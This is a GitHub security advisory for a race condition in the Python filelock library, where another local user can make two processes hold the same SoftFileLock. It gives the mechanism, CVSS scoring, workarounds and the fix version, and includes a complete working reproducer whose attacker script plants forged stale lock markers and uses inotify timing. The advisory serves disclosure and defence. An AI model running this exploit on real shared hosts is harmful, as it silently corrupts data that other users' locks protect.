GHSA-FQ56-3CX3-FJXP

Vulnerability from github – Published: 2026-10-28 21:08 – Updated: 2026-10-28 21:08
VLAI
Summary
filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders
Details

The stale-lock break shared by SoftFileLock, MarkerSoftFileLock and SoftFileLease (and their async variants, and a FileLock that has fallen back to a soft lock on ENOSYS, the "not implemented" error) recognises the marker it judged stale by two values. The marker is the lock file at <path>, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.

On a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding ANT-2026-KIIS96IX).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's /proc read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.

Classification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).

Scope and preconditions

  • The other user can create files in the lock's directory; a root-owned 1777 directory such as /tmp or /var/tmp is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: EPERM, operation not permitted), so the lock user's own stale break does the deletion.
  • The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs /tmp and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.
  • The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one poll_interval, 50 ms by default, later).
  • The lock is SoftFileLock, MarkerSoftFileLock or SoftFileLease (or async forms). The default flock-based FileLock joins them only after it has fallen back to SoftFileLock on ENOSYS. StrictSoftFileLock does not call break_lock_file, so it is not affected.
  • The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the re-check sits in break_lock_file. Its callers are SoftFileLock._try_break_stale_lock, MarkerSoftFileLock._try_break_stale_lock and SoftFileLease._try_break_stale_lock. The reader _read_lock_file closes the judged marker before the verdict.

Introduced

e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.

Mechanism

_try_break_stale_lock reads the marker through _read_lock_file (lstat, O_RDONLY | O_NONBLOCK | O_NOFOLLOW open, fstat, read, close), decides with owner_is_stale that the owner is gone, and calls break_lock_file(lock_file, mtime, ino):

# src/filelock/_util.py:113-118
if (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:
    return
break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}"
Path(lock_file).rename(break_path)
if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:
    Path(break_path).unlink()

Between the close in _read_lock_file and the lstat on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so ("Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:

  1. The other user creates app.lock (inode I) with the record <its own pid>\n<host>\n1\n and sets its time to the year 2100 with os.utime(). A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (EPERM, and acquire(timeout=1) raises Timeout).
  2. A polls, reads (record, mtime=2100, ino=I), closes the file and enters owner_is_stale().
  3. The other user unlinks its marker. Inode I is free.
  4. B polls. The path is empty, so O_EXCL (create only if absent) succeeds and ext4 gives the new marker inode number I. B holds the lock.
  5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is I. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.
  6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.

When B releases, _unlink_open_marker finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no app.lock.break.* file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.

The other user does not need luck for the timing of step 3. It sees A's close() through inotify (a Linux facility that reports file events; here IN_CLOSE_NOWRITE on its own file), and it chooses how long A stays in owner_is_stale(). To compare the start token, process_start_token() reads /proc/<pid>/stat, and the kernel walks every thread of that process. Measured as victim, owner_is_stale() takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.

A forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes > / <= too (8, 16 and 16 overlaps in three 20-second runs with the os.utime() call removed, and still 9 with the comparisons changed to != / ==). Outside a container the window is wider. With a bare hostname owner_is_stale() goes on to _owner_runs_elsewhere(), which reads /proc/<pid>/stat of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms poll_interval). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.

MarkerSoftFileLock and SoftFileLease read with _read_lock_file() and call break_lock_file() in the same way, and showed the same overlap when a stall held A 3 s in its kill(pid, 0) probe. The malformed-marker self-heal in SoftFileLock hands break_lock_file() values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (test_stale_break_racing_a_successor_admits_no_third_holder, test_break_lock_file_leaves_a_swapped_in_symlink_aside), failing in 10 of 14 runs on ext4.

Reproduction

The scanner's reproducer for finding ANT-2026-KIIS96IX, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

LOCK_DIR = "/tmp/shared-locks"
LOCK_PATH = f"{LOCK_DIR}/app.lock"
VICTIM_JOBS = 6
RUN_SECONDS = 20
JAN_1_2000 = 946684800
JAN_1_2100 = 4102444800


def run_victim_jobs_beside_attacker(stale_marker_mtime):
    # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)
    shutil.rmtree(LOCK_DIR, ignore_errors=True)
    os.mkdir(LOCK_DIR)
    os.chmod(LOCK_DIR, 0o1777)

    # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side
    attacker = subprocess.Popen(
        [sys.executable, "/tmp/repro.d/plant_stale_markers.py", LOCK_PATH, str(stale_marker_mtime)],
        stdout=subprocess.PIPE,
        text=True,
        user="attacker",
        group="attacker",
        extra_groups=[],
    )
    try:
        assert attacker.stdout.readline() == "ready\n"
        jobs = [
            subprocess.Popen(
                [sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH, str(RUN_SECONDS)],
                stdout=subprocess.PIPE,
                text=True,
                user="victim",
                group="victim",
                extra_groups=[],
            )
            for _ in range(VICTIM_JOBS)
        ]
        holds = []
        for number, job in enumerate(jobs):
            output, _ = job.communicate(timeout=RUN_SECONDS + 60)
            assert job.returncode == 0  # no Timeout or other exception reached the victim's code
            for line in output.splitlines():
                entered, left, is_locked = line.split()
                assert is_locked == "True"  # the job believed it held the lock
                holds.append((float(entered), float(left), f"job{number}"))
    finally:
        attacker.kill()
        attacker.wait()
    break_files = [name for name in os.listdir(LOCK_DIR) if ".break." in name]
    return sorted(holds), break_files


def overlapping_holds(holds):
    # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly
    return [
        (first, second)
        for index, first in enumerate(holds)
        for second in holds[index + 1 :]
        if second[0] < first[1]  # sorted by entry: the second entered before the first had left
    ]


control_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)
control_overlaps = overlapping_holds(control_holds)
print(f"CONTROL  attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs")
print(f"  two jobs inside the lock at once: {len(control_overlaps)} times")

attack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)
attack_overlaps = overlapping_holds(attack_holds)
print(f"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs")
print(f"  two jobs inside the lock at once: {len(attack_overlaps)} times")
for (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:
    print(f"    {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}")
# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*
print(f"  stale-break files left in {LOCK_DIR}: {break_files}")

# check: an exclusive lock with default options must never have two holders at once
print("BUG" if not control_overlaps and attack_overlaps else "OK")

repro.d/plant_stale_markers.py

#!/usr/bin/env python3
import ctypes
import os
import sys
import threading
import time

from filelock import SoftFileLock

lock_path, marker_mtime = sys.argv[1], int(sys.argv[2])
IN_CLOSE_NOWRITE = 0x10
libc = ctypes.CDLL(None)

# contenders only judge markers written on their own host, so take the host string from a marker of our own
with SoftFileLock(lock_path):
    with open(lock_path) as own_marker:
        host = own_marker.read().splitlines()[1]

# <pid>\n<host>\n<start token>\n: this PID is alive but its start token is not 1, so it reads as a recycled PID
# and every contender judges the marker stale
stale_marker = f"{os.getpid()}\n{host}\n1\n".encode()

# To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process:
# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.
threading.stack_size(64 * 1024)
for _ in range(8000):
    threading.Thread(target=threading.Event().wait, daemon=True).start()
print("ready", flush=True)

while True:
    # plant the stale marker whenever the lock path is free
    try:
        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
    except FileExistsError:
        time.sleep(0.0002)
        continue
    os.write(fd, stale_marker)
    os.utime(fd, (marker_mtime, marker_mtime))  # a file's owner may give it any modification time
    os.close(fd)

    # once a contender has read it, unlink it: its inode number is free again for the next holder's marker
    inotify = libc.inotify_init()
    libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)
    os.read(inotify, 4096)
    os.unlink(lock_path)
    os.close(inotify)

    # creating anything before the next holder does would take that inode number away from it
    while not os.path.lexists(lock_path):
        time.sleep(0.0002)

repro.d/victim_job.py

#!/usr/bin/env python3
import random
import sys
import time

from filelock import SoftFileLock

lock_path, run_seconds = sys.argv[1], float(sys.argv[2])

lock = SoftFileLock(lock_path)
stop_at = time.monotonic() + run_seconds
while time.monotonic() < stop_at:
    with lock:
        entered = time.monotonic()
        time.sleep(random.uniform(0.05, 0.15))  # the work the lock protects
        print(entered, time.monotonic(), lock.is_locked, flush=True)

Attack sequence

sequenceDiagram
    participant X as other local user (uid 1001)
    participant P as app.lock (root-owned 1777 dir, ext4)
    participant A as process A of the lock user (uid 1000)
    participant B as process B of the lock user (uid 1000)
    X->>P: create "livepid host 1", utime to 2100 (inode I)
    A->>P: open, fstat (ino I, mtime 2100), read, close
    A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)
    rect rgb(255, 214, 214)
        X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free
        B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters
        A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*
        A->>P: lstat break name: same, unlink B's live marker
        A->>P: next poll 50 ms later: O_EXCL create, A enters beside B
        Note over A,B: B's release finds another inode, leaves it, no error on either side
    end

Evidence

The scanner's reproducer runs six victim jobs (uid 1000) looping with SoftFileLock("/tmp/shared-locks/app.lock"): around 50 to 150 ms of work, printing time.monotonic() entry and exit and lock.is_locked, for 20 s. Beside them runs an attacker process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for IN_CLOSE_NOWRITE, unlinks it and waits for the next victim marker. The control (markers dated 2000) prints 191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times. The disturbed run (dated 2100) prints 196 holds, two jobs inside the lock at once: 15 times, for example job3 inside 130.436-130.530, job5 inside 130.444-130.521, with stale-break files left in /tmp/shared-locks: []. Six runs gave between 11 and 24 overlaps, 0 in each control, every with block ending without error with is_locked == True.

An strace of a landed round shows A's close(4</tmp/app.lock>(deleted)), B's openat(O_WRONLY|O_CREAT|O_EXCL|...) with st_ino=296421, and A's lstat, rename, lstat, unlink all on 296421, followed by B's write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...) and A's own create 53 ms later.

Our review ran the reproducer over a loop-mounted ext4 /tmp inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned 1777 directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.

Impact

A local user who can create files in the lock's directory puts two processes of another user inside the same default-configured SoftFileLock, MarkerSoftFileLock or SoftFileLease at once, with no exception, no lifetime, no lease expiry and no break_lock() involved. Two holders then write the data the lock protects. SoftFileLock and MarkerSoftFileLock holders learn nothing. A displaced SoftFileLease holder got compromise.reason == "owner-changed" at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and None after 13 s when the second holder had already released.

It is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (st_nlink == 0, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, StrictSoftFileLock.

Workarounds

Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. StrictSoftFileLock is not affected.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/843

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-KIIS96IX, scanned commit b831496b0273)
  • 2026-10-16 01:42 UTC: fix PR #843 opened
  • 2026-10-16 05:38 UTC: draft advisory created
Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.22.0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:08:08Z",
    "nvd_published_at": "2026-10-20T15:17:16Z",
    "severity": "MODERATE"
  },
  "details": "The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the \"not implemented\" error) recognises the marker it judged stale by two values. The marker is the lock file at `\u003cpath\u003e`, whose presence says a process holds the lock. The values are its inode number (the kernel\u0027s identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.\n\nOn a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder\u0027s marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock\u0027s directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file\u0027s owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock \u003e= 3.22.0 and \u003c= 4.2.0 (finding `ANT-2026-KIIS96IX`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user\u0027s `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user\u0027s processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account\u0027s numeric id): the other user as uid 1001, the lock user\u0027s processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).\n\n## Scope and preconditions\n\n- The other user can create files in the lock\u0027s directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user\u0027s marker (checked: `EPERM`, operation not permitted), so the lock user\u0027s own stale break does the deletion.\n- The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image\u0027s overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.\n- The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later).\n- The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected.\n- The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder\u0027s marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).\n\nfilelock\u0027s checks against another local user hold only when no other user can replace the lock\u0027s directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict.\n\n## Introduced\n\ne35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.\n\n## Mechanism\n\n`_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`:\n\n```python\n# src/filelock/_util.py:113-118\nif (current := os.lstat(lock_file)).st_mtime \u003e mtime_before or current.st_ino != ino_before:\n    return\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime \u003c= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\n```\n\nBetween the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so (\"Our open descriptor keeps the inode allocated, so its number cannot name a successor\u0027s marker yet\"); the break path does not. That leaves the modification time, which the file\u0027s owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:\n\n1. The other user creates `app.lock` (inode `I`) with the record `\u003cits own pid\u003e\\n\u003chost\u003e\\n1\\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user\u0027s processes wait: they cannot rename another user\u0027s file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`).\n2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`.\n3. The other user unlinks its marker. Inode `I` is free.\n4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock.\n5. A reaches line 113 and looks at B\u0027s marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user\u0027s own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.\n6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.\n\nWhen B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B\u0027s marker and returns.\n\nThe other user does not need luck for the timing of step 3. It sees A\u0027s `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc/\u003cpid\u003e/stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 \u00b5s for a dead PID and 931 \u00b5s for a process with 8000 idle threads. Step 4 then needs another contender\u0027s 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.\n\nA forged time is not required, only convenient. File times advance in 4 ms steps, so a successor\u0027s marker created in the same step as the stale marker\u0027s last write compares equal and passes `\u003e` / `\u003c=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc/\u003cpid\u003e/stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.\n\n`MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user\u0027s file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project\u0027s own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = f\"{LOCK_DIR}/app.lock\"\nVICTIM_JOBS = 6\nRUN_SECONDS = 20\nJAN_1_2000 = 946684800\nJAN_1_2100 = 4102444800\n\n\ndef run_victim_jobs_beside_attacker(stale_marker_mtime):\n    # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n\n    # run: nobody is paused or traced; the attacker and the victim\u0027s jobs just run side by side\n    attacker = subprocess.Popen(\n        [sys.executable, \"/tmp/repro.d/plant_stale_markers.py\", LOCK_PATH, str(stale_marker_mtime)],\n        stdout=subprocess.PIPE,\n        text=True,\n        user=\"attacker\",\n        group=\"attacker\",\n        extra_groups=[],\n    )\n    try:\n        assert attacker.stdout.readline() == \"ready\\n\"\n        jobs = [\n            subprocess.Popen(\n                [sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH, str(RUN_SECONDS)],\n                stdout=subprocess.PIPE,\n                text=True,\n                user=\"victim\",\n                group=\"victim\",\n                extra_groups=[],\n            )\n            for _ in range(VICTIM_JOBS)\n        ]\n        holds = []\n        for number, job in enumerate(jobs):\n            output, _ = job.communicate(timeout=RUN_SECONDS + 60)\n            assert job.returncode == 0  # no Timeout or other exception reached the victim\u0027s code\n            for line in output.splitlines():\n                entered, left, is_locked = line.split()\n                assert is_locked == \"True\"  # the job believed it held the lock\n                holds.append((float(entered), float(left), f\"job{number}\"))\n    finally:\n        attacker.kill()\n        attacker.wait()\n    break_files = [name for name in os.listdir(LOCK_DIR) if \".break.\" in name]\n    return sorted(holds), break_files\n\n\ndef overlapping_holds(holds):\n    # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly\n    return [\n        (first, second)\n        for index, first in enumerate(holds)\n        for second in holds[index + 1 :]\n        if second[0] \u003c first[1]  # sorted by entry: the second entered before the first had left\n    ]\n\n\ncontrol_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)\ncontrol_overlaps = overlapping_holds(control_holds)\nprint(f\"CONTROL  attacker\u0027s stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(control_overlaps)} times\")\n\nattack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)\nattack_overlaps = overlapping_holds(attack_holds)\nprint(f\"OBSERVED attacker\u0027s stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(attack_overlaps)} times\")\nfor (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:\n    print(f\"    {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}\")\n# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*\nprint(f\"  stale-break files left in {LOCK_DIR}: {break_files}\")\n\n# check: an exclusive lock with default options must never have two holders at once\nprint(\"BUG\" if not control_overlaps and attack_overlaps else \"OK\")\n```\n\n**`repro.d/plant_stale_markers.py`**\n\n```python\n#!/usr/bin/env python3\nimport ctypes\nimport os\nimport sys\nimport threading\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, marker_mtime = sys.argv[1], int(sys.argv[2])\nIN_CLOSE_NOWRITE = 0x10\nlibc = ctypes.CDLL(None)\n\n# contenders only judge markers written on their own host, so take the host string from a marker of our own\nwith SoftFileLock(lock_path):\n    with open(lock_path) as own_marker:\n        host = own_marker.read().splitlines()[1]\n\n# \u003cpid\u003e\\n\u003chost\u003e\\n\u003cstart token\u003e\\n: this PID is alive but its start token is not 1, so it reads as a recycled PID\n# and every contender judges the marker stale\nstale_marker = f\"{os.getpid()}\\n{host}\\n1\\n\".encode()\n\n# To compare start tokens a contender reads /proc/\u003cpid\u003e/stat, and the kernel walks every thread of that process:\n# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.\nthreading.stack_size(64 * 1024)\nfor _ in range(8000):\n    threading.Thread(target=threading.Event().wait, daemon=True).start()\nprint(\"ready\", flush=True)\n\nwhile True:\n    # plant the stale marker whenever the lock path is free\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    except FileExistsError:\n        time.sleep(0.0002)\n        continue\n    os.write(fd, stale_marker)\n    os.utime(fd, (marker_mtime, marker_mtime))  # a file\u0027s owner may give it any modification time\n    os.close(fd)\n\n    # once a contender has read it, unlink it: its inode number is free again for the next holder\u0027s marker\n    inotify = libc.inotify_init()\n    libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)\n    os.read(inotify, 